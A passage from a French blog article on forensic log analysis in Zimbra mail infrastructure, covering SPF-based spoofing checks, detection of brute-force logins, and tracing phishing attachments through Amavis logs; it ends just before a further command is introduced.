<li><strong>/opt/zimbra/log/spamtrain.log</strong> : traces de l’entraînement antispam initié par les utilisateurs.</li>
<li><strong>/opt/zimbra/log/cbpolicyd.log</strong> : application des politiques Postfix (quotas, anti-relay, restrictions).</li>
<li><strong>/var/log/mail.log</strong> : logs système Postfix (SMTP, LMTP, Amavis).</li>
<li><strong>/var/log/nginx.access.log | /var/log/nginx.log</strong> : journaux du serveur web nginx (utiles pour contextualiser les sessions web).</li>
</ul>
<p style="text-align: justify;">Malheureusement, dans une <strong>architecture Zimbra distribuée</strong>, les journaux <strong>ne sont pas centralisés</strong>. Autrement dit, pour obtenir une vision complète d’un incident, <strong>l’analyste devra souvent collecter les logs sur chaque nœud</strong> : proxy, mailstore, MTA ou tout autre serveur périphérique. Oui, cela demande un peu de gymnastique (<em>et de patience</em>).</p>
<p style="text-align: justify;">Nous l’avons dit : la richesse des journaux Zimbra est une <strong>véritable mine d’or</strong> pour les investigations… mais… comme toute mine, il faut savoir <strong>creuser avec méthode</strong>, sans quoi on se retrouve vite enseveli sous des tonnes de lignes de logs. Un <strong>effort de tri et de corrélation</strong> est donc nécessaire pour <strong>extraire les</strong> <strong>informations pertinentes</strong>.</p>
<p style="text-align: justify;">Et malgré leur utilité <strong>indéniable</strong>, les journaux Zimbra présentent <strong>quelques limites notables </strong>:</p>
<ul>
<li style="text-align: justify;"><strong>Une impossibilité d’accès au contenu complet</strong> des courriels ni à leurs pièces jointes.</li>
<li style="text-align: justify;"><strong>Des sujets des courriels rarement disponibles</strong>, sauf lorsqu’ils sont interceptés par les modules antispam ou antivirus.</li>
<li style="text-align: justify;"><strong>Un manque de visibilité native</strong> sur la création de règles de redirections.</li>
<li style="text-align: justify;"><strong>La rotation rapide des journaux verbeux</strong> (comme mailbox.log), ce qui limite la fenêtre temporelle d’analyse en absence de centralisation des journaux.</li>
</ul>
<p> </p>
<h2>Investiguer dans un environnement Zimbra</h2>
<p style="text-align: justify;">Maintenant que l’infrastructure et les journaux Zimbra n’ont <strong>plus de secrets pour vous,</strong> c’est le moment de <strong>passer au concret</strong>.</p>
<p style="text-align: justify;">Imaginez que vous êtes un analyste forensique, arrivé en avance de bon matin, quand soudain : <strong>le téléphone sonne</strong>. On vous appelle car plusieurs utilisateurs signalent que des courriels <strong>qu’ils n’auraient pas envoyés</strong> apparaissent dans leur dossier «<em>Envoyés</em>».</p>
<p style="text-align: justify;"><strong>C’est la panique générale</strong> !  Les utilisateurs n’osent plus se connecter à leur boîte mail et certains administrateurs commencent à se demander si <strong>l’infrastructure Zimbra elle-même</strong> ne serait pas <strong>compromise</strong>.</p>
<p style="text-align: justify;">Puisque vous maîtrisez Zimbra comme personne, c’est naturellement vers vous que l’équipe se tourne pour <strong>élucider cet incident</strong> !</p>
<p style="text-align: justify;">En tant qu’analyste forensique, beaucoup de questions vous viennent à l’esprit :</p>
<ul style="text-align: justify;">
<li><em>Est-ce que les comptes ont réellement été compromis ? Si oui, comment et depuis quand ?</em></li>
<li><em>Combien d’utilisateurs sont affectés ?</em></li>
<li><em>Quel est l’objectif de l’attaquant et quelles actions malveillantes ont été menées depuis ces comptes ?</em></li>
<li><em>Le serveur de messagerie ou d’autres composants Zimbra ont-ils été compromis ?</em></li>
<li><strong><em>Et, surtout</em></strong><em> : ai-je le temps de prendre un café </em><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2615.png" alt="☕" class="wp-smiley" style="height: 1em; max-height: 1em;" /><em> avant que la chasse aux informations ne commence ? </em></li>
</ul>
<p style="text-align: justify;">Afin de vous aider dans vos investigations, nous allons voir ensemble comment apporter des éléments de réponses via l’analyse des journaux Zimbra. Mais avant cela, voici un ensemble de conseils pour vous aider dans vos investigations</p>
<p style="text-align: justify;">Lors d’une réponse à incidents, il est facile de se sentir <strong>submergé</strong> par la <strong>quantité</strong> <strong>de journaux</strong> et <strong>d’événements</strong> à analyser. Il est donc important de garder un <strong>fil conducteur. </strong>Quelques réflexes simples permettent de ne pas perdre le cap :</p>
<ul style="text-align: justify;">
<li><strong>Confirmer</strong> : Vérifier les informations ayant mené à l’incident. Avant d’avancer dans les investigations, il faut s’assurer de la véracité de l’élément déclencheur. Cette base indéniable servira de pilier pour l’ensemble de l’investigation.</li>
<li><strong>Corréler </strong>: recouper les adresses IP et domaines suspectes avec d’autres sources (proxy, VPN, EDR, bases antivirales en ligne). Cela permet d’obtenir des informations complémentaires en relation avec l&rsquo;indicateur identifié.</li>
<li><strong>Pivoter </strong>: exploiter les informations collectées pour élargir l’analyse. Un attaquant peut par exemple réutiliser la même adresse IP ou le même user-agent pour cibler plusieurs comptes. À l’inverse, un compte compromis peut être utilisé depuis des adresses IP ou des user-agents différents. Pivoter permet de révéler d’autres indicateurs permettant d&rsquo;identifier l&rsquo;attaquant.</li>
<li><strong>Comparer les motifs </strong>: même sans accéder directement au contenu des courriels ou des pièces jointes, certains éléments peuvent révéler des similitudes (taille, nom de fichier identique, séquence d’actions répétée après la compromission d’un compte). Cette approche d’analyse comportementale peut aider à identifier plusieurs utilisateurs compromis par un même attaquant. Ces hypothèses doivent être formulées et manipulées avec prudence mais elles peuvent s’avérer intéressantes pour confirmer une intuition.</li>
<li><strong>Assurer la conservation des journaux </strong>: Cela peut sembler évident, mais dès la détection de l’incident, il est important de sécuriser la conservation des journaux. Cela passe par la collecte immédiate des logs sur l’ensemble de l’infrastructure Zimbra mais aussi par l’allongement de la période rétention pour éviter toute suppression automatique. Car soyons honnêtes : les logs qui disparaissent pile au moment où l’équipe forensique arrive, c’est malheureusement un grand classique… et une mésaventure dont vous vous passerez bien.</li>
</ul>
<p style="text-align: justify;">Même si ces conseils ne sont <strong>pas exhaustifs</strong>, ils offrent une bonne base pour réaliser une analyse à la fois <strong>rapide</strong> et <strong>complète</strong>.</p>
<p> </p>
<h3>Compromission et accès initial</h3>
<h4><em>Le piège du spoofing</em></h4>
<p style="text-align: justify;"><strong>Vous n’êtes pas dupe !</strong> Vous savez que parfois, l’on peut croire que l’attaquant est déjà à l’intérieur du système alors qu’en réalité, il est toujours à l’extérieur (<em>fake it until you make it )</em>. Surtout lorsque plusieurs utilisateurs commencent à signaler des incidents préoccupants, tels que :</p>
<ul style="text-align: justify;">
<li>« <em>J’ai reçu un e-mail de telle personne, pourtant elle m’affirme ne jamais l’avoir envoyé</em> »</li>
<li>« <em>J’ai reçu un e-mail venant de ma propre adresse, ce qui n’a aucun sens !</em> »</li>
</ul>
<p style="text-align: justify;">Mais votre expérience vous pousse à vérifier que la confusion actuelle n’est pas le fruit d’une simple attaque&#8230; de <strong>spoofing</strong>.</p>
<p style="text-align: justify;">En effet, le <strong>spoofing</strong> est une technique d’usurpation d’identité assez simple utilisée par des acteurs malveillants pour <strong>falsifier des informations d’en-tête</strong> ou d’origine d’un mail afin de <strong>tromper une victime</strong>. Le spoofing permet d&rsquo;envoyer un courriel en se faisant passer pour un <strong>expéditeur légitime</strong> (par exemple un utilisateur interne de l’entreprise ou le destinataire lui-même), alors que le mail provient en réalité d’une infrastructure qui n&rsquo;a <strong>aucune autorisation pour utiliser cette adresse électronique</strong>.</p>
<p style="text-align: justify;">L’objectif est de <strong>gagner la confiance du destinataire</strong> pour l’inciter à réaliser une action (cliquer sur un lien, ouvrir une pièce jointe, fournir des identifiants, etc.) ou de <strong>contourner les mécanismes de filtrage</strong>.</p>
<p style="text-align: justify;">Les mécanismes tels que <strong>SPF, DKIM et DMARC</strong> ont été conçus pour limiter les risques liés au spoofing en permettant de vérifier l’authenticité du domaine et du serveur expéditeur.</p>
<p style="text-align: justify;">Plus particulièrement, le <strong>Sender Policy Framework (SPF)</strong> est un mécanisme de sécurité des courriels qui permet de vérifier que le serveur expéditeur d’un message est bien autorisé à envoyer des courriels pour le domaine indiqué dans l’adresse de l’expéditeur. Les étapes d&rsquo;un contrôle SPF sont illustrées ci-dessous :</p>
<figure id="attachment_28437" aria-describedby="caption-attachment-28437" style="width: 1136px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28437" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/SPF-check-Zimbra-FR.png" alt="Etapes d'un contrôle SPF" width="1136" height="482" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/SPF-check-Zimbra-FR.png 1136w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/SPF-check-Zimbra-FR-437x185.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/SPF-check-Zimbra-FR-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/SPF-check-Zimbra-FR-768x326.png 768w" sizes="auto, (max-width: 1136px) 100vw, 1136px" /><figcaption id="caption-attachment-28437" class="wp-caption-text"><em>Etapes d&rsquo;un contrôle SPF</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Concrètement, le propriétaire du domaine publie dans les enregistrements DNS une <strong>liste des adresses IP autorisées à envoyer des mails</strong> pour son domaine. Lorsqu’un serveur de mail reçoit un courriel, il peut <strong>comparer l’adresse IP de l’expéditeur </strong>à cette liste et déterminer si le message est légitime ou potentiellement frauduleux.</p>
<p style="text-align: justify;">Un <strong>échec du contrôle SPF</strong> indique que le courriel a été envoyé depuis un <strong>serveur non autorisé</strong> par le domaine de l’expéditeur. C’est un <strong>indicateur qui permet de d&rsquo;identifier </strong>de potentielles<strong> tentatives d’usurpation d’identité</strong>.</p>
<p style="text-align: justify;">Dans les journaux Zimbra, il est possible d’identifier les <strong>échecs de contrôle SPF</strong> à l’aide de la commande suivante :</p>
<figure id="attachment_28495" aria-describedby="caption-attachment-28495" style="width: 1682px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28495" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/1-Recuperation-des-messages-qui-ont-echoue-le-controle-SPF-zimbra.log_.png" alt="Récupération des messages qui ont échoué le contrôle SPF (zimbra.log)" width="1682" height="333" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/1-Recuperation-des-messages-qui-ont-echoue-le-controle-SPF-zimbra.log_.png 1682w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/1-Recuperation-des-messages-qui-ont-echoue-le-controle-SPF-zimbra.log_-437x87.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/1-Recuperation-des-messages-qui-ont-echoue-le-controle-SPF-zimbra.log_-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/1-Recuperation-des-messages-qui-ont-echoue-le-controle-SPF-zimbra.log_-768x152.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/1-Recuperation-des-messages-qui-ont-echoue-le-controle-SPF-zimbra.log_-1536x304.png 1536w" sizes="auto, (max-width: 1682px) 100vw, 1682px" /><figcaption id="caption-attachment-28495" class="wp-caption-text"><em>Récupération des messages qui ont échoué le contrôle SPF (zimbra.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Dans cet exemple, on constate que le message en provenance de <strong><em>attacker@microsoft.com</em> </strong>vers <strong><em>user25@wavestone.corp</em></strong> <strong>ne valide pas le SPF </strong>(SPF_FAIL). Le champ « <em>Yes</em> » indique qu’il est <strong>classé </strong>comme<strong> spam</strong>. Son score (<em>9.172</em>) dépassant le seuil requis (<em>4</em>), ce message <strong>ne sera donc pas délivré</strong> à son destinataire.</p>
<p style="text-align: justify;">Il ne faut cependant pas donner une confiance aveugle au moteur antispam ! Certains courriels <strong>échouant le contrôle SPF</strong> peuvent malgré tout être <strong>délivrés</strong>. Pour extraire exclusivement ces messages, vous pouvez utiliser la commande suivante :</p>
<figure id="attachment_28497" aria-describedby="caption-attachment-28497" style="width: 1692px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28497" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/2-Recuperation-des-messages-qui-ont-echoue-le-controle-SPF-et-ont-ete-delivres-zimbra.log_.png" alt="Récupération des messages qui ont échoué le contrôle SPF et ont été délivrés (zimbra.log)" width="1692" height="360" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/2-Recuperation-des-messages-qui-ont-echoue-le-controle-SPF-et-ont-ete-delivres-zimbra.log_.png 1692w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/2-Recuperation-des-messages-qui-ont-echoue-le-controle-SPF-et-ont-ete-delivres-zimbra.log_-437x93.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/2-Recuperation-des-messages-qui-ont-echoue-le-controle-SPF-et-ont-ete-delivres-zimbra.log_-71x15.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/2-Recuperation-des-messages-qui-ont-echoue-le-controle-SPF-et-ont-ete-delivres-zimbra.log_-768x163.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/2-Recuperation-des-messages-qui-ont-echoue-le-controle-SPF-et-ont-ete-delivres-zimbra.log_-1536x327.png 1536w" sizes="auto, (max-width: 1692px) 100vw, 1692px" /><figcaption id="caption-attachment-28497" class="wp-caption-text"><em>Récupération des messages qui ont échoué le contrôle SPF et ont été délivrés (zimbra.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Dans l’exemple ci-dessous, le message <strong>échoue le contrôle SPF</strong>, mais son score est négatif (-2.06) et inférieur au seuil de spam (4). Il est donc considéré comme <strong>légitime</strong> et <strong>délivré au destinataire</strong>, <strong>malgré l’échec SPF</strong>.</p>
<p style="text-align: justify;">Comme vous pouvez le constater, grâce aux journaux Zimbra, il est possible d’identifier rapidement les <strong>expéditeurs à l’origine d’attaques de spoofing</strong>. Détecter un cas de spoofing dès le début de l’investigation permet de réduire rapidement les inquiétudes et de restaurer un certain niveau de <strong>confiance dans l’infrastructure Zimbra</strong>.</p>
<p> </p>
<h4><em>Analyse de l’accès initial de l’attaquant</em></h4>
<p style="text-align: justify;">Une fois que vous avez confirmé que <strong>vous n’êtes pas face à une attaque de spoofing</strong>, c’est que l’attaquant a réussi, d’une manière ou d’une autre, à compromettre un compte ou un composant de l’infrastructure. La première étape de votre investigation va consister à <strong>identifier le point d’entrée initial de l’attaquant</strong>. C’est trouver la réponse aux questions «<em>Où ?</em>», «<em>Quand ?</em>» et «<em>Comment ?</em>». Mais pour compromettre une boîte mail, plusieurs approches sont possibles…</p>
<figure id="attachment_28499" aria-describedby="caption-attachment-28499" style="width: 1693px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28499" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/3-Recuperation-des-echecs-de-connexion-mail.log_.png" alt="Récupération des échecs de connexion (mail.log)" width="1693" height="229" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/3-Recuperation-des-echecs-de-connexion-mail.log_.png 1693w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/3-Recuperation-des-echecs-de-connexion-mail.log_-437x59.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/3-Recuperation-des-echecs-de-connexion-mail.log_-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/3-Recuperation-des-echecs-de-connexion-mail.log_-768x104.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/3-Recuperation-des-echecs-de-connexion-mail.log_-1536x208.png 1536w" sizes="auto, (max-width: 1693px) 100vw, 1693px" /><figcaption id="caption-attachment-28499" class="wp-caption-text"><em>Récupération des échecs de connexion (mail.log)</em></figcaption></figure>
<p> </p>
<figure id="attachment_28501" aria-describedby="caption-attachment-28501" style="width: 1690px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28501" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/4-Recuperation-des-echecs-de-connexion-audit.log_.png" alt="Récupération des échecs de connexion (audit.log)" width="1690" height="384" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/4-Recuperation-des-echecs-de-connexion-audit.log_.png 1690w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/4-Recuperation-des-echecs-de-connexion-audit.log_-437x99.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/4-Recuperation-des-echecs-de-connexion-audit.log_-71x16.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/4-Recuperation-des-echecs-de-connexion-audit.log_-768x175.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/4-Recuperation-des-echecs-de-connexion-audit.log_-1536x349.png 1536w" sizes="auto, (max-width: 1690px) 100vw, 1690px" /><figcaption id="caption-attachment-28501" class="wp-caption-text"><em>Récupération des échecs de connexion (audit.log)</em></figcaption></figure>
<p> </p>
<p><em><span style="text-decoration: underline;"><strong>Compromission de compte via brute force du mot de passe</strong></span></em></p>
<p style="text-align: justify;">Une première piste que vous pouvez explorer est la possibilité que l’attaquant ait tenté de compromettre certains comptes au moyen d’une <strong>attaque par force brute</strong>.</p>
<p style="text-align: justify;">Pour cela, il suffit d’examiner dans les journaux Zimbra les <strong>échecs d’authentification :</strong></p>
<p style="text-align: justify;">Sur les événements ci-dessus, on observe des <strong>tentatives d’authentification</strong> provenant de l’adresse IP <strong>100.100.4.111 </strong>qui ont <strong>échouées</strong> pour le compte <strong>user25@wavestone.corp.</strong></p>
<p style="text-align: justify;">Un <strong>nombre important de tentatives de connexion infructueuses</strong>, sur une <strong>courte période</strong>, depuis une <strong>même adresse IP</strong> ou envers un <strong>même compte</strong>, est révélateur d’une <strong>tentative de brute force.</strong></p>
<p style="text-align: justify;">Un trop grand nombre d’échecs d’authentification peut également entraîner le <strong>verrouillage automatique d’un compte</strong> par Zimbra :</p>
<figure id="attachment_28503" aria-describedby="caption-attachment-28503" style="width: 1692px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28503" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/5-Recuperation-des-evenements-de-blocage-de-compte-mail.log_.png" alt="Récupération des évènements de blocage de compte (mail.log)" width="1692" height="180" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/5-Recuperation-des-evenements-de-blocage-de-compte-mail.log_.png 1692w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/5-Recuperation-des-evenements-de-blocage-de-compte-mail.log_-437x46.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/5-Recuperation-des-evenements-de-blocage-de-compte-mail.log_-71x8.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/5-Recuperation-des-evenements-de-blocage-de-compte-mail.log_-768x82.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/5-Recuperation-des-evenements-de-blocage-de-compte-mail.log_-1536x163.png 1536w" sizes="auto, (max-width: 1692px) 100vw, 1692px" /><figcaption id="caption-attachment-28503" class="wp-caption-text"><em>Récupération des évènements de blocage de compte (mail.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Du point de vue forensique, l’apparition d’un tel événement dans les journaux peut suggérer qu’un compte à <strong>potentiellement été ciblé</strong>.</p>
<p style="text-align: justify;">Une fois la tentative de brute force identifiée. Il est possible de vérifier à quels moments l’attaquant aurait utilisé le compte compromis en analysant les <strong>connexions réussies</strong> associées à cet utilisateur :</p>
<figure id="attachment_28505" aria-describedby="caption-attachment-28505" style="width: 1689px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28505" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/6-Recuperation-des-evenements-dauthentification-reussie-audit.log_.png" alt="Récupération des évènements d'authentification réussie (audit.log)" width="1689" height="280" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/6-Recuperation-des-evenements-dauthentification-reussie-audit.log_.png 1689w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/6-Recuperation-des-evenements-dauthentification-reussie-audit.log_-437x72.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/6-Recuperation-des-evenements-dauthentification-reussie-audit.log_-71x12.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/6-Recuperation-des-evenements-dauthentification-reussie-audit.log_-768x127.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/6-Recuperation-des-evenements-dauthentification-reussie-audit.log_-1536x255.png 1536w" sizes="auto, (max-width: 1689px) 100vw, 1689px" /><figcaption id="caption-attachment-28505" class="wp-caption-text"><em>Récupération des évènements d&rsquo;authentification réussie (audit.log)</em></figcaption></figure>
<p> </p>
<figure id="attachment_28507" aria-describedby="caption-attachment-28507" style="width: 1692px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28507" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/7-Recuperation-des-evenements-dauthentification-reussie-mailbox.log_.png" alt="Récupération des évènements d'authentification réussie (mailbox.log)" width="1692" height="335" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/7-Recuperation-des-evenements-dauthentification-reussie-mailbox.log_.png 1692w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/7-Recuperation-des-evenements-dauthentification-reussie-mailbox.log_-437x87.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/7-Recuperation-des-evenements-dauthentification-reussie-mailbox.log_-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/7-Recuperation-des-evenements-dauthentification-reussie-mailbox.log_-768x152.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/7-Recuperation-des-evenements-dauthentification-reussie-mailbox.log_-1536x304.png 1536w" sizes="auto, (max-width: 1692px) 100vw, 1692px" /><figcaption id="caption-attachment-28507" class="wp-caption-text"><em>Récupération des évènements d&rsquo;authentification réussie (mailbox.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Additionnellement, si vous avez <strong>identifié l’IP de l’attaquant</strong>, vous pouvez retrouver l’ensemble des <strong>connexions réussies depuis cette adresse</strong> avec les commandes suivantes :</p>
<figure id="attachment_28509" aria-describedby="caption-attachment-28509" style="width: 1694px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28509" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/8-Recuperation-des-evenements-dauthentification-reussie-via-lIP-audit.log_.png" alt="Récupération des évènements d'authentification réussie via l’IP (audit.log)" width="1694" height="49" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/8-Recuperation-des-evenements-dauthentification-reussie-via-lIP-audit.log_.png 1694w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/8-Recuperation-des-evenements-dauthentification-reussie-via-lIP-audit.log_-437x13.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/8-Recuperation-des-evenements-dauthentification-reussie-via-lIP-audit.log_-71x2.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/8-Recuperation-des-evenements-dauthentification-reussie-via-lIP-audit.log_-768x22.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/8-Recuperation-des-evenements-dauthentification-reussie-via-lIP-audit.log_-1536x44.png 1536w" sizes="auto, (max-width: 1694px) 100vw, 1694px" /><figcaption id="caption-attachment-28509" class="wp-caption-text"><em>Récupération des évènements d&rsquo;authentification réussie via l’IP (audit.log)</em></figcaption></figure>
<figure id="attachment_28511" aria-describedby="caption-attachment-28511" style="width: 1693px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28511" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/9-Recuperation-des-evenements-dauthentification-reussie-via-lIP-mailbox.log_.png" alt="Récupération des évènements d'authentification réussie via l’IP (mailbox.log)" width="1693" height="48" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/9-Recuperation-des-evenements-dauthentification-reussie-via-lIP-mailbox.log_.png 1693w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/9-Recuperation-des-evenements-dauthentification-reussie-via-lIP-mailbox.log_-437x12.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/9-Recuperation-des-evenements-dauthentification-reussie-via-lIP-mailbox.log_-71x2.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/9-Recuperation-des-evenements-dauthentification-reussie-via-lIP-mailbox.log_-768x22.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/9-Recuperation-des-evenements-dauthentification-reussie-via-lIP-mailbox.log_-1536x44.png 1536w" sizes="auto, (max-width: 1693px) 100vw, 1693px" /><figcaption id="caption-attachment-28511" class="wp-caption-text"><em>Récupération des évènements d&rsquo;authentification réussie via l’IP (mailbox.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Une fois les connexions réussies malveillantes identifiées, il est nécessaire d’<strong>analyser l’activité du compte</strong> postérieure à ces accès afin d’identifier les <strong>actions effectuées par l’attaquant</strong>.</p>
<p> </p>
<p><span style="text-decoration: underline;"><strong><em>Compromission de compte par attaque de phishing</em></strong></span></p>
<p style="text-align: justify;">Si aucun brute force n’a été identifié. Une autre piste fréquente de compromission initiale est le bien regretté <strong>phishing</strong>. Ici, l’attaque ne se déroule pas directement « <em>sur</em> » l’infrastructure Zimbra : l’utilisateur a d’abord reçu un courriel l’incitant à <strong>visiter</strong> <strong>une page frauduleuse</strong> ou à <strong>ouvrir un fichier malveillant</strong>. Et ce n’est qu’après avoir cliqué que le mal sera fait (récupération des identifiants de connexion ou jetons de session).</p>
<p style="text-align: justify;">Dans ce scénario, il faudra, <strong>si possible</strong>, récupérer le courriel malveillant dans la boîte mail de l’utilisateur pour analyse. Si vous arrivez à mettre la main dessus, voici les <strong>informations intéressantes à collecter</strong> :</p>
<ul style="text-align: justify;">
<li>Date et heure de réception</li>
<li>Objet du message</li>
<li>Expéditeur (From)</li>
<li>Destinataires (To, Cc)</li>
<li>Adresses de réponse (Reply-To, Return-Path)</li>
<li>Adresse IP du serveur d’envoi d’origine</li>
<li>Noms des fichiers joints (le cas échéant)</li>
<li>Résultats des contrôles SPF, DKIM et DMARC</li>
<li>URL de phishing identifiées (si présentes)</li>
</ul>
<p style="text-align: justify;">Ces éléments vous permettront de reconstituer la méthodologie de l’attaquant, <strong>d’orienter vos investigations</strong> et de définir les <strong>premières</strong> <strong>mesures</strong> de <strong>remédiation</strong>.</p>
<p style="text-align: justify;">Malheureusement, dans le scénario où vous n’avez <strong>pas directement accès à la boîte mail de l’utilisateur</strong>, il faudra essentiellement se reposer sur les journaux Zimbra, et plus précisément, les <strong>événements générés par</strong> <strong>Amavis</strong> lors de l’analyse des <strong>courriels entrants</strong>.</p>
<p style="text-align: justify;">Supposons que vous souhaitez <strong>identifier des pièces jointes malveillantes envoyées par un attaquant aux utilisateurs</strong>. Pour cela, les journaux générés par Zimbra sont très utiles car ils permettent d’identifier les fichiers qui ont été analysés et d’en <strong>extraire des</strong> <strong>informations</strong> comme leur nom, leur taille, leur type ou encore leur empreinte (SHA1).</p>
<p style="text-align: justify;">La commande suivante permet d’identifier les pièces jointes traitées par Amavis lors de l’analyse des messages entrants :</p>
<figure id="attachment_28513" aria-describedby="caption-attachment-28513" style="width: 1694px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28513" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/10-Recuperation-des-pieces-jointes-analysees-par-amavis-zimbra.log_.png" alt="Récupération des pièces jointes analysées par amavis (zimbra.log)" width="1694" height="311" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/10-Recuperation-des-pieces-jointes-analysees-par-amavis-zimbra.log_.png 1694w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/10-Recuperation-des-pieces-jointes-analysees-par-amavis-zimbra.log_-437x80.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/10-Recuperation-des-pieces-jointes-analysees-par-amavis-zimbra.log_-71x13.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/10-Recuperation-des-pieces-jointes-analysees-par-amavis-zimbra.log_-768x141.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/10-Recuperation-des-pieces-jointes-analysees-par-amavis-zimbra.log_-1536x282.png 1536w" sizes="auto, (max-width: 1694px) 100vw, 1694px" /><figcaption id="caption-attachment-28513" class="wp-caption-text"><em>Récupération des pièces jointes analysées par amavis (zimbra.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Le résultat ci-dessus montre que le fichier <strong><em>Evil.htm</em></strong> a été analysé par Amavis. On y retrouve plusieurs informations plutôt intéressantes :</p>
<ul style="text-align: justify;">
<li><strong>La date et l’heure</strong> : <em>12 novembre à 11h15</em></li>
<li><strong>La signature SHA-1 du fichier</strong> : <em>9d57b71f9f758a27ccd680f701317574174e82d8</em></li>
<li><strong>La taille</strong> : <em>22111 octets</em></li>
<li><strong>Le Content-Type</strong> : <em>text/html</em></li>
<li><strong>L’ID de session Amavis associé à cette analyse</strong> : <em>4384125-19</em></li>
</ul>
<p style="text-align: justify;">Cependant, à eux seuls, ces éléments ne permettent pas de déterminer <strong>quels utilisateurs ont reçu cette pièce jointe</strong> ni <strong>qui en était l’expéditeur</strong>. Pour obtenir ces informations, il est nécessaire d’exécuter une seconde commande afin de récupérer l’ensemble des traces associées à cette session Amavis :</p>
